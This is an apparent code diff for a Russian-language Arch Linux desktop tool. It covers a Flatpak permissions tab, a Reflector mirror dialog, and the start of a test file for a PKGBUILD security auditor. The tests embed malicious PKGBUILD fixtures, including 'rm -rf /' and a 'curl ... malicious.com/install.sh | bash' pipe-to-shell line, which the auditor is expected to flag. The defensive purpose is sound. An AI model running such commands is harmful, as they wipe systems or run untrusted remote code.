||||||
|
style: TextStyle(
|
||||||
|
fontFamily: 'monospace',
|
||||||
|
fontSize: 12,
|
||||||
|
color: issue != null
|
||||||
|
? (issue.severity == SecuritySeverity.danger
|
||||||
|
? const Color(0xFFFF6961)
|
||||||
|
: const Color(0xFFFFB340))
|
||||||
|
: (lineText.trim().startsWith('#')
|
||||||
|
? CupertinoColors.systemGrey
|
||||||
|
: const Color(0xFFE0E0E0)),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
);
|
||||||
|
}),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
Widget _buildFlatpakPermissionsTab(MacosThemeData theme) {
|
||||||
|
if (_isLoadingFlatpakPerms) {
|
||||||
|
return const Center(
|
||||||
|
child: Column(
|
||||||
|
mainAxisSize: MainAxisSize.min,
|
||||||
|
children: [
|
||||||
|
ProgressCircle(radius: 14),
|
||||||
|
SizedBox(height: 12),
|
||||||
|
Text(
|
||||||
|
'Загрузка разрешений песочницы...',
|
||||||
|
style: TextStyle(color: CupertinoColors.systemGrey, fontSize: 13),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
final perms = _flatpakPermissions;
|
||||||
|
if (perms == null) {
|
||||||
|
return Center(
|
||||||
|
child: Column(
|
||||||
|
mainAxisSize: MainAxisSize.min,
|
||||||
|
children: [
|
||||||
|
const MacosIcon(CupertinoIcons.shield_slash, size: 36, color: CupertinoColors.systemGrey),
|
||||||
|
const SizedBox(height: 10),
|
||||||
|
Text('Разрешения для $_currentPackageName недоступны (приложение не установлено).'),
|
||||||
|
const SizedBox(height: 14),
|
||||||
|
PushButton(
|
||||||
|
controlSize: ControlSize.regular,
|
||||||
|
secondary: true,
|
||||||
|
onPressed: _loadFlatpakPerms,
|
||||||
|
child: const Text('Проверить снова'),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return ListView(
|
||||||
|
padding: const EdgeInsets.all(22),
|
||||||
|
children: [
|
||||||
|
// Инфо баннер песочницы Flatseal
|
||||||
|
Container(
|
||||||
|
padding: const EdgeInsets.all(14),
|
||||||
|
decoration: BoxDecoration(
|
||||||
|
color: const Color(0xFF0A84FF).withValues(alpha: 0.1),
|
||||||
|
borderRadius: BorderRadius.circular(10),
|
||||||
|
border: Border.all(color: const Color(0xFF0A84FF).withValues(alpha: 0.3)),
|
||||||
|
),
|
||||||
|
child: Row(
|
||||||
|
crossAxisAlignment: CrossAxisAlignment.start,
|
||||||
|
children: [
|
||||||
|
const MacosIcon(CupertinoIcons.lock_shield_fill, color: Color(0xFF0A84FF), size: 24),
|
||||||
|
const SizedBox(width: 12),
|
||||||
|
Expanded(
|
||||||
|
child: Column(
|
||||||
|
crossAxisAlignment: CrossAxisAlignment.start,
|
||||||
|
children: [
|
||||||
|
const Text(
|
||||||
|
'Песочница Flatpak (Sandbox Permissions)',
|
||||||
|
style: TextStyle(fontWeight: FontWeight.bold, fontSize: 13.5),
|
||||||
|
),
|
||||||
|
const SizedBox(height: 4),
|
||||||
|
const Text(
|
||||||
|
'Вы можете гибко настраивать доступы приложения к сети, файловой системе и графическим серверам без прав администратора.',
|
||||||
|
style: TextStyle(fontSize: 12, color: CupertinoColors.systemGrey, height: 1.3),
|
||||||
|
),
|
||||||
|
if (perms.hasOverrides) ...[
|
||||||
|
const SizedBox(height: 8),
|
||||||
|
Container(
|
||||||
|
padding: const EdgeInsets.symmetric(horizontal: 8, vertical: 3),
|
||||||
|
decoration: BoxDecoration(
|
||||||
|
color: const Color(0xFF0A84FF).withValues(alpha: 0.2),
|
||||||
|
borderRadius: BorderRadius.circular(5),
|
||||||
|
),
|
||||||
|
child: const Text(
|
||||||
|
'Активны пользовательские переопределения',
|
||||||
|
style: TextStyle(fontSize: 11, fontWeight: FontWeight.bold, color: Color(0xFF0A84FF)),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
|
||||||
|
const SizedBox(height: 18),
|
||||||
|
_buildSectionHeader('СЕТЬ И ФАЙЛЫ'),
|
||||||
|
const SizedBox(height: 10),
|
||||||
|
|
||||||
|
_buildPermissionToggle(
|
||||||
|
title: 'Доступ к сети Интернет',
|
||||||
|
subtitle: 'Разрешает входящие и исходящие соединения (network socket)',
|
||||||
|
icon: CupertinoIcons.globe,
|
||||||
|
value: perms.network,
|
||||||
|
onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.network, val),
|
||||||
|
),
|
||||||
|
_buildPermissionToggle(
|
||||||
|
title: 'Домашняя папка пользователя (~/)',
|
||||||
|
subtitle: 'Доступ к файлам и документам пользователя (--filesystem=home)',
|
||||||
|
icon: CupertinoIcons.folder_fill,
|
||||||
|
value: perms.filesystemHome,
|
||||||
|
onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.filesystemHome, val),
|
||||||
|
),
|
||||||
|
_buildPermissionToggle(
|
||||||
|
title: 'Все системные файлы (Корневая ФС)',
|
||||||
|
subtitle: 'Полный доступ к системным файлам хоста (--filesystem=host)',
|
||||||
|
icon: CupertinoIcons.desktopcomputer,
|
||||||
|
value: perms.filesystemHost,
|
||||||
|
onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.filesystemHost, val),
|
||||||
|
),
|
||||||
|
|
||||||
|
const SizedBox(height: 16),
|
||||||
|
_buildSectionHeader('ДИСПЛЕЙ И МУЛЬТИМЕДИА'),
|
||||||
|
const SizedBox(height: 10),
|
||||||
|
|
||||||
|
_buildPermissionToggle(
|
||||||
|
title: 'Дисплейный сервер Wayland',
|
||||||
|
subtitle: 'Прямой графический протокол Wayland (--socket=wayland)',
|
||||||
|
icon: CupertinoIcons.macwindow,
|
||||||
|
value: perms.socketWayland,
|
||||||
|
onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.socketWayland, val),
|
||||||
|
),
|
||||||
|
_buildPermissionToggle(
|
||||||
|
title: 'Дисплейный сервер X11',
|
||||||
|
subtitle: 'Классический графический протокол X11/XWayland (--socket=x11)',
|
||||||
|
icon: CupertinoIcons.tv,
|
||||||
|
value: perms.socketX11,
|
||||||
|
onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.socketX11, val),
|
||||||
|
),
|
||||||
|
_buildPermissionToggle(
|
||||||
|
title: 'Звук (PulseAudio / PipeWire)',
|
||||||
|
subtitle: 'Воспроизведение и запись аудиопотоков (--socket=pulseaudio)',
|
||||||
|
icon: CupertinoIcons.speaker_2_fill,
|
||||||
|
value: perms.socketPulseaudio,
|
||||||
|
onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.socketPulseaudio, val),
|
||||||
|
),
|
||||||
|
_buildPermissionToggle(
|
||||||
|
title: '3D-ускорение видеокарты (GPU)',
|
||||||
|
subtitle: 'Прямой доступ к видеодрайверам DRI (--device=dri)',
|
||||||
|
icon: CupertinoIcons.gamecontroller_fill,
|
||||||
|
value: perms.deviceDri,
|
||||||
|
onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.deviceDri, val),
|
||||||
|
),
|
||||||
|
|
||||||
|
const SizedBox(height: 20),
|
||||||
|
|
||||||
|
// Кнопка сброса
|
||||||
|
Row(
|
||||||
|
mainAxisAlignment: MainAxisAlignment.end,
|
||||||
|
children: [
|
||||||
|
PushButton(
|
||||||
|
controlSize: ControlSize.regular,
|
||||||
|
secondary: true,
|
||||||
|
onPressed: perms.hasOverrides ? _resetFlatpakPermissions : null,
|
||||||
|
child: const Row(
|
||||||
|
mainAxisSize: MainAxisSize.min,
|
||||||
|
children: [
|
||||||
|
MacosIcon(CupertinoIcons.arrow_counterclockwise, size: 14),
|
||||||
|
SizedBox(width: 6),
|
||||||
|
Text('Сбросить к заводским разрешениям'),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
],
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
Widget _buildPermissionToggle({
|
||||||
|
required String title,
|
||||||
|
required String subtitle,
|
||||||
|
required IconData icon,
|
||||||
|
required bool value,
|
||||||
|
required ValueChanged<bool> onChanged,
|
||||||
|
}) {
|
||||||
|
final theme = MacosTheme.of(context);
|
||||||
|
return Container(
|
||||||
|
margin: const EdgeInsets.only(bottom: 8),
|
||||||
|
padding: const EdgeInsets.symmetric(horizontal: 14, vertical: 10),
|
||||||
|
decoration: BoxDecoration(
|
||||||
|
color: theme.dividerColor.withValues(alpha: 0.12),
|
||||||
|
borderRadius: BorderRadius.circular(8),
|
||||||
|
border: Border.all(color: theme.dividerColor.withValues(alpha: 0.4), width: 0.8),
|
||||||
|
),
|
||||||
|
child: Row(
|
||||||
|
children: [
|
||||||
|
Container(
|
||||||
|
width: 32,
|
||||||
|
height: 32,
|
||||||
|
decoration: BoxDecoration(
|
||||||
|
color: value ? const Color(0xFF0A84FF).withValues(alpha: 0.18) : CupertinoColors.systemGrey.withValues(alpha: 0.15),
|
||||||
|
borderRadius: BorderRadius.circular(7),
|
||||||
|
),
|
||||||
|
child: Center(
|
||||||
|
child: MacosIcon(
|
||||||
|
icon,
|
||||||
|
color: value ? const Color(0xFF0A84FF) : CupertinoColors.systemGrey,
|
||||||
|
size: 16,
|
||||||
|
),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
const SizedBox(width: 12),
|
||||||
|
Expanded(
|
||||||
|
child: Column(
|
||||||
|
crossAxisAlignment: CrossAxisAlignment.start,
|
||||||
|
children: [
|
||||||
|
Text(
|
||||||
|
title,
|
||||||
|
style: const TextStyle(fontWeight: FontWeight.w600, fontSize: 13),
|
||||||
|
),
|
||||||
|
const SizedBox(height: 2),
|
||||||
|
Text(
|
||||||
|
subtitle,
|
||||||
|
style: const TextStyle(fontSize: 11, color: CupertinoColors.systemGrey),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
MacosSwitch(
|
||||||
|
value: value,
|
||||||
|
onChanged: onChanged,
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
Widget _buildSectionHeader(String title) {
|
Widget _buildSectionHeader(String title) {
|
||||||
return Text(
|
return Text(
|
||||||
title,
|
title,
|
||||||
|
|||||||
@@ -0,0 +1,460 @@
|
|||||||
|
import 'package:flutter/cupertino.dart';
|
||||||
|
import 'package:flutter/material.dart' show Divider;
|
||||||
|
import 'package:macos_ui/macos_ui.dart';
|
||||||
|
import '../../services/admin_service.dart';
|
||||||
|
import '../../services/reflector_service.dart';
|
||||||
|
|
||||||
|
class ReflectorMirrorDialog extends StatefulWidget {
|
||||||
|
const ReflectorMirrorDialog({super.key});
|
||||||
|
|
||||||
|
static Future<void> show(BuildContext context) {
|
||||||
|
return showMacosSheet(
|
||||||
|
context: context,
|
||||||
|
barrierDismissible: true,
|
||||||
|
builder: (context) => const ReflectorMirrorDialog(),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@override
|
||||||
|
State<ReflectorMirrorDialog> createState() => _ReflectorMirrorDialogState();
|
||||||
|
}
|
||||||
|
|
||||||
|
class _ReflectorMirrorDialogState extends State<ReflectorMirrorDialog> {
|
||||||
|
List<ReflectorCountry> _countries = [];
|
||||||
|
List<String> _currentMirrors = [];
|
||||||
|
List<String> _previewMirrors = [];
|
||||||
|
String _selectedCountry = 'Germany';
|
||||||
|
int _limit = 5;
|
||||||
|
bool _httpsOnly = true;
|
||||||
|
final String _sortBy = 'rate';
|
||||||
|
|
||||||
|
bool _isLoading = true;
|
||||||
|
bool _isTesting = false;
|
||||||
|
bool _isApplying = false;
|
||||||
|
String? _statusMessage;
|
||||||
|
bool _isSuccess = false;
|
||||||
|
|
||||||
|
@override
|
||||||
|
void initState() {
|
||||||
|
super.initState();
|
||||||
|
_loadInitialData();
|
||||||
|
}
|
||||||
|
|
||||||
|
Future<void> _loadInitialData() async {
|
||||||
|
setState(() => _isLoading = true);
|
||||||
|
try {
|
||||||
|
final countries = await ReflectorService.getCountries();
|
||||||
|
final current = await ReflectorService.getCurrentActiveMirrors();
|
||||||
|
|
||||||
|
if (mounted) {
|
||||||
|
setState(() {
|
||||||
|
_countries = countries;
|
||||||
|
_currentMirrors = current;
|
||||||
|
_isLoading = false;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
} catch (_) {
|
||||||
|
if (mounted) setState(() => _isLoading = false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Future<void> _runPreview() async {
|
||||||
|
setState(() {
|
||||||
|
_isTesting = true;
|
||||||
|
_statusMessage = null;
|
||||||
|
});
|
||||||
|
|
||||||
|
try {
|
||||||
|
final results = await ReflectorService.previewMirrors(
|
||||||
|
country: _selectedCountry == 'All' ? null : _selectedCountry,
|
||||||
|
latest: _limit,
|
||||||
|
httpsOnly: _httpsOnly,
|
||||||
|
sort: _sortBy,
|
||||||
|
);
|
||||||
|
|
||||||
|
if (mounted) {
|
||||||
|
setState(() {
|
||||||
|
_previewMirrors = results;
|
||||||
|
_isTesting = false;
|
||||||
|
if (results.isEmpty) {
|
||||||
|
_statusMessage = 'Зеркала не найдены. Попробуйте выбрать другую страну или снять ограничение HTTPS.';
|
||||||
|
_isSuccess = false;
|
||||||
|
} else {
|
||||||
|
_statusMessage = 'Успешно протестировано! Найдено ${results.length} быстрых зеркал.';
|
||||||
|
_isSuccess = true;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
if (mounted) {
|
||||||
|
setState(() {
|
||||||
|
_isTesting = false;
|
||||||
|
_statusMessage = 'Ошибка тестирования: $e';
|
||||||
|
_isSuccess = false;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Future<void> _applyMirrors() async {
|
||||||
|
final password = await AdminService.promptPassword(
|
||||||
|
context,
|
||||||
|
title: 'Оптимизация зеркал репозиториев',
|
||||||
|
reason: 'Для обновления /etc/pacman.d/mirrorlist требуются права администратора.',
|
||||||
|
);
|
||||||
|
|
||||||
|
if (password == null) return;
|
||||||
|
|
||||||
|
setState(() {
|
||||||
|
_isApplying = true;
|
||||||
|
_statusMessage = null;
|
||||||
|
});
|
||||||
|
|
||||||
|
try {
|
||||||
|
final success = await ReflectorService.applyMirrors(
|
||||||
|
password,
|
||||||
|
country: _selectedCountry == 'All' ? null : _selectedCountry,
|
||||||
|
latest: _limit,
|
||||||
|
httpsOnly: _httpsOnly,
|
||||||
|
sort: _sortBy,
|
||||||
|
);
|
||||||
|
|
||||||
|
final updated = await ReflectorService.getCurrentActiveMirrors();
|
||||||
|
|
||||||
|
if (mounted) {
|
||||||
|
setState(() {
|
||||||
|
_isApplying = false;
|
||||||
|
_currentMirrors = updated;
|
||||||
|
if (success) {
|
||||||
|
_statusMessage = '✅ Список зеркал успешно обновлен и сохранен в /etc/pacman.d/mirrorlist!';
|
||||||
|
_isSuccess = true;
|
||||||
|
} else {
|
||||||
|
_statusMessage = '❌ Не удалось применить изменения. Проверьте пароль или подключение к сети.';
|
||||||
|
_isSuccess = false;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
if (mounted) {
|
||||||
|
setState(() {
|
||||||
|
_isApplying = false;
|
||||||
|
_statusMessage = '❌ Ошибка: $e';
|
||||||
|
_isSuccess = false;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@override
|
||||||
|
Widget build(BuildContext context) {
|
||||||
|
final theme = MacosTheme.of(context);
|
||||||
|
|
||||||
|
return Center(
|
||||||
|
child: Container(
|
||||||
|
width: 620,
|
||||||
|
height: 560,
|
||||||
|
decoration: BoxDecoration(
|
||||||
|
color: theme.canvasColor,
|
||||||
|
borderRadius: BorderRadius.circular(16),
|
||||||
|
border: Border.all(color: CupertinoColors.white.withValues(alpha: 0.12)),
|
||||||
|
boxShadow: [
|
||||||
|
BoxShadow(
|
||||||
|
color: CupertinoColors.black.withValues(alpha: 0.45),
|
||||||
|
blurRadius: 28,
|
||||||
|
offset: const Offset(0, 10),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
child: Column(
|
||||||
|
children: [
|
||||||
|
// Шапка
|
||||||
|
Padding(
|
||||||
|
padding: const EdgeInsets.fromLTRB(20, 18, 20, 14),
|
||||||
|
child: Row(
|
||||||
|
children: [
|
||||||
|
Container(
|
||||||
|
width: 38,
|
||||||
|
height: 38,
|
||||||
|
decoration: BoxDecoration(
|
||||||
|
color: const Color(0xFF0A84FF).withValues(alpha: 0.15),
|
||||||
|
borderRadius: BorderRadius.circular(10),
|
||||||
|
),
|
||||||
|
child: const Center(
|
||||||
|
child: MacosIcon(
|
||||||
|
CupertinoIcons.speedometer,
|
||||||
|
color: Color(0xFF0A84FF),
|
||||||
|
size: 22,
|
||||||
|
),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
const SizedBox(width: 14),
|
||||||
|
const Expanded(
|
||||||
|
child: Column(
|
||||||
|
crossAxisAlignment: CrossAxisAlignment.start,
|
||||||
|
children: [
|
||||||
|
Text(
|
||||||
|
'Оптимизация зеркал (Reflector)',
|
||||||
|
style: TextStyle(
|
||||||
|
fontSize: 16,
|
||||||
|
fontWeight: FontWeight.bold,
|
||||||
|
),
|
||||||
|
),
|
||||||
|
SizedBox(height: 2),
|
||||||
|
Text(
|
||||||
|
'Тестирование пинга и скорости зеркал Arch Linux',
|
||||||
|
style: TextStyle(
|
||||||
|
fontSize: 12,
|
||||||
|
color: CupertinoColors.systemGrey,
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
MacosIconButton(
|
||||||
|
icon: const MacosIcon(CupertinoIcons.xmark, size: 16),
|
||||||
|
onPressed: () => Navigator.of(context).pop(),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
|
||||||
|
const Divider(height: 1, color: CupertinoColors.separator),
|
||||||
|
|
||||||
|
// Контент
|
||||||
|
Expanded(
|
||||||
|
child: _isLoading
|
||||||
|
? const Center(child: ProgressCircle(radius: 14))
|
||||||
|
: SingleChildScrollView(
|
||||||
|
padding: const EdgeInsets.all(20),
|
||||||
|
child: Column(
|
||||||
|
crossAxisAlignment: CrossAxisAlignment.start,
|
||||||
|
children: [
|
||||||
|
// Блок параметров
|
||||||
|
Container(
|
||||||
|
padding: const EdgeInsets.all(16),
|
||||||
|
decoration: BoxDecoration(
|
||||||
|
color: theme.dividerColor.withValues(alpha: 0.08),
|
||||||
|
borderRadius: BorderRadius.circular(12),
|
||||||
|
border: Border.all(color: CupertinoColors.white.withValues(alpha: 0.08)),
|
||||||
|
),
|
||||||
|
child: Column(
|
||||||
|
children: [
|
||||||
|
Row(
|
||||||
|
children: [
|
||||||
|
const Expanded(
|
||||||
|
child: Text(
|
||||||
|
'Страна серверов:',
|
||||||
|
style: TextStyle(fontWeight: FontWeight.w500, fontSize: 13),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
MacosPopupButton<String>(
|
||||||
|
value: _selectedCountry,
|
||||||
|
onChanged: (val) {
|
||||||
|
if (val != null) setState(() => _selectedCountry = val);
|
||||||
|
},
|
||||||
|
items: [
|
||||||
|
const MacosPopupMenuItem(
|
||||||
|
value: 'All',
|
||||||
|
child: Text('Весь мир (All)'),
|
||||||
|
),
|
||||||
|
..._countries.map((c) => MacosPopupMenuItem(
|
||||||
|
value: c.name,
|
||||||
|
child: Text('${c.name} (${c.count})'),
|
||||||
|
)),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
const SizedBox(height: 12),
|
||||||
|
Row(
|
||||||
|
children: [
|
||||||
|
const Expanded(
|
||||||
|
child: Text(
|
||||||
|
'Количество лучших зеркал:',
|
||||||
|
style: TextStyle(fontWeight: FontWeight.w500, fontSize: 13),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
MacosPopupButton<int>(
|
||||||
|
value: _limit,
|
||||||
|
onChanged: (val) {
|
||||||
|
if (val != null) setState(() => _limit = val);
|
||||||
|
},
|
||||||
|
items: const [
|
||||||
|
MacosPopupMenuItem(value: 3, child: Text('Топ 3')),
|
||||||
|
MacosPopupMenuItem(value: 5, child: Text('Топ 5')),
|
||||||
|
MacosPopupMenuItem(value: 10, child: Text('Топ 10')),
|
||||||
|
MacosPopupMenuItem(value: 20, child: Text('Топ 20')),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
const SizedBox(height: 12),
|
||||||
|
Row(
|
||||||
|
children: [
|
||||||
|
const Expanded(
|
||||||
|
child: Text(
|
||||||
|
'Использовать только HTTPS:',
|
||||||
|
style: TextStyle(fontWeight: FontWeight.w500, fontSize: 13),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
MacosSwitch(
|
||||||
|
value: _httpsOnly,
|
||||||
|
onChanged: (val) => setState(() => _httpsOnly = val),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
|
||||||
|
const SizedBox(height: 16),
|
||||||
|
|
||||||
|
// Кнопки предпросмотра
|
||||||
|
Row(
|
||||||
|
children: [
|
||||||
|
PushButton(
|
||||||
|
controlSize: ControlSize.regular,
|
||||||
|
secondary: true,
|
||||||
|
onPressed: _isTesting ? null : _runPreview,
|
||||||
|
child: Row(
|
||||||
|
mainAxisSize: MainAxisSize.min,
|
||||||
|
children: [
|
||||||
|
if (_isTesting) ...[
|
||||||
|
const ProgressCircle(radius: 6),
|
||||||
|
const SizedBox(width: 8),
|
||||||
|
] else
|
||||||
|
const MacosIcon(CupertinoIcons.play_arrow, size: 14),
|
||||||
|
const SizedBox(width: 6),
|
||||||
|
const Text('Тестировать (Предпросмотр)'),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
const Spacer(),
|
||||||
|
PushButton(
|
||||||
|
controlSize: ControlSize.regular,
|
||||||
|
onPressed: _isApplying || _isTesting ? null : _applyMirrors,
|
||||||
|
child: Row(
|
||||||
|
mainAxisSize: MainAxisSize.min,
|
||||||
|
children: [
|
||||||
|
if (_isApplying) ...[
|
||||||
|
const ProgressCircle(radius: 6),
|
||||||
|
const SizedBox(width: 8),
|
||||||
|
] else
|
||||||
|
const MacosIcon(CupertinoIcons.checkmark_seal_fill, size: 14),
|
||||||
|
const SizedBox(width: 6),
|
||||||
|
const Text('Применить зеркала'),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
|
||||||
|
if (_statusMessage != null) ...[
|
||||||
|
const SizedBox(height: 14),
|
||||||
|
Container(
|
||||||
|
padding: const EdgeInsets.symmetric(horizontal: 12, vertical: 10),
|
||||||
|
decoration: BoxDecoration(
|
||||||
|
color: (_isSuccess ? CupertinoColors.systemGreen : CupertinoColors.systemRed)
|
||||||
|
.withValues(alpha: 0.12),
|
||||||
|
borderRadius: BorderRadius.circular(8),
|
||||||
|
border: Border.all(
|
||||||
|
color: (_isSuccess ? CupertinoColors.systemGreen : CupertinoColors.systemRed)
|
||||||
|
.withValues(alpha: 0.3),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
child: Row(
|
||||||
|
children: [
|
||||||
|
MacosIcon(
|
||||||
|
_isSuccess
|
||||||
|
? CupertinoIcons.check_mark_circled
|
||||||
|
: CupertinoIcons.exclamationmark_triangle,
|
||||||
|
size: 16,
|
||||||
|
color: _isSuccess ? CupertinoColors.systemGreen : CupertinoColors.systemRed,
|
||||||
|
),
|
||||||
|
const SizedBox(width: 8),
|
||||||
|
Expanded(
|
||||||
|
child: Text(
|
||||||
|
_statusMessage!,
|
||||||
|
style: TextStyle(
|
||||||
|
fontSize: 12.5,
|
||||||
|
color: _isSuccess ? CupertinoColors.systemGreen : CupertinoColors.systemRed,
|
||||||
|
),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
|
||||||
|
const SizedBox(height: 16),
|
||||||
|
|
||||||
|
// Список зеркал
|
||||||
|
if (_previewMirrors.isNotEmpty) ...[
|
||||||
|
const Text(
|
||||||
|
'Результат замера (будут сохранены):',
|
||||||
|
style: TextStyle(fontWeight: FontWeight.bold, fontSize: 13),
|
||||||
|
),
|
||||||
|
const SizedBox(height: 8),
|
||||||
|
..._previewMirrors.map((url) => Container(
|
||||||
|
margin: const EdgeInsets.only(bottom: 6),
|
||||||
|
padding: const EdgeInsets.symmetric(horizontal: 10, vertical: 8),
|
||||||
|
decoration: BoxDecoration(
|
||||||
|
color: theme.dividerColor.withValues(alpha: 0.05),
|
||||||
|
borderRadius: BorderRadius.circular(6),
|
||||||
|
border: Border.all(color: CupertinoColors.white.withValues(alpha: 0.05)),
|
||||||
|
),
|
||||||
|
child: Row(
|
||||||
|
children: [
|
||||||
|
const MacosIcon(CupertinoIcons.link, size: 14, color: Color(0xFF0A84FF)),
|
||||||
|
const SizedBox(width: 8),
|
||||||
|
Expanded(
|
||||||
|
child: Text(
|
||||||
|
url,
|
||||||
|
style: const TextStyle(fontSize: 12, fontFamily: 'monospace'),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
)),
|
||||||
|
] else if (_currentMirrors.isNotEmpty) ...[
|
||||||
|
const Text(
|
||||||
|
'Текущие активные зеркала в системе:',
|
||||||
|
style: TextStyle(fontWeight: FontWeight.bold, fontSize: 13),
|
||||||
|
),
|
||||||
|
const SizedBox(height: 8),
|
||||||
|
..._currentMirrors.take(5).map((url) => Container(
|
||||||
|
margin: const EdgeInsets.only(bottom: 6),
|
||||||
|
padding: const EdgeInsets.symmetric(horizontal: 10, vertical: 8),
|
||||||
|
decoration: BoxDecoration(
|
||||||
|
color: theme.dividerColor.withValues(alpha: 0.05),
|
||||||
|
borderRadius: BorderRadius.circular(6),
|
||||||
|
),
|
||||||
|
child: Row(
|
||||||
|
children: [
|
||||||
|
const MacosIcon(CupertinoIcons.checkmark_alt,
|
||||||
|
size: 14, color: CupertinoColors.systemGrey),
|
||||||
|
const SizedBox(width: 8),
|
||||||
|
Expanded(
|
||||||
|
child: Text(
|
||||||
|
url,
|
||||||
|
style: const TextStyle(
|
||||||
|
fontSize: 12,
|
||||||
|
fontFamily: 'monospace',
|
||||||
|
color: CupertinoColors.systemGrey,
|
||||||
|
),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
)),
|
||||||
|
],
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,77 @@
|
|||||||
|
import 'package:flutter_test/flutter_test.dart';
|
||||||
|
import 'package:forge/src/services/aur_pkgbuild_service.dart';
|
||||||
|
|
||||||
|
void main() {
|
||||||
|
group('AurPkgbuildService Audit Tests', () {
|
||||||
|
test('passes safe PKGBUILD with clean verdict', () {
|
||||||
|
const safePkgbuild = '''
|
||||||
|
# Maintainer: John Doe <john@example.com>
|
||||||
|
pkgname=hello-world
|
||||||
|
pkgver=1.0.0
|
||||||
|
pkgrel=1
|
||||||
|
arch=('x86_64')
|
||||||
|
source=("https://example.com/hello-world-1.0.0.tar.gz")
|
||||||
|
sha256sums=('SKIP')
|
||||||
|
|
||||||
|
build() {
|
||||||
|
cd "\$srcdir/\$pkgname-\$pkgver"
|
||||||
|
make
|
||||||
|
}
|
||||||
|
|
||||||
|
package() {
|
||||||
|
cd "\$srcdir/\$pkgname-\$pkgver"
|
||||||
|
make DESTDIR="\$pkgdir" install
|
||||||
|
}
|
||||||
|
''';
|
||||||
|
|
||||||
|
final result = AurPkgbuildService.audit(safePkgbuild);
|
||||||
|
expect(result.overallSeverity, SecuritySeverity.safe);
|
||||||
|
expect(result.isSafe, isTrue);
|
||||||
|
expect(result.issues, isEmpty);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('detects dangerous rm -rf / command', () {
|
||||||
|
const maliciousPkgbuild = '''
|
||||||
|
pkgname=bad-actor
|
||||||
|
pkgver=1.0.0
|
||||||
|
package() {
|
||||||
|
rm -rf /
|
||||||
|
}
|
||||||
|
''';
|
||||||
|
|
||||||
|
final result = AurPkgbuildService.audit(maliciousPkgbuild);
|
||||||
|
expect(result.overallSeverity, SecuritySeverity.danger);
|
||||||
|
expect(result.hasDanger, isTrue);
|
||||||
|
expect(result.issues.any((i) => i.ruleName == 'destructive_command'), isTrue);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('detects pipe to shell (curl | bash)', () {
|
||||||
|
const maliciousPkgbuild = '''
|
||||||
|
pkgname=untrusted-app
|
||||||
|
pkgver=1.0.0
|
||||||
|
build() {
|
||||||
|
curl -sSL https://malicious.com/install.sh | bash
|
||||||
|
}
|
||||||
|
''';
|
||||||
|
|
||||||
|
final result = AurPkgbuildService.audit(maliciousPkgbuild);
|
||||||
|
expect(result.overallSeverity, SecuritySeverity.danger);
|
||||||
|
expect(result.issues.any((i) => i.ruleName == 'pipe_to_shell'), isTrue);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('detects warning for git clone inside build()', () {
|
||||||
|
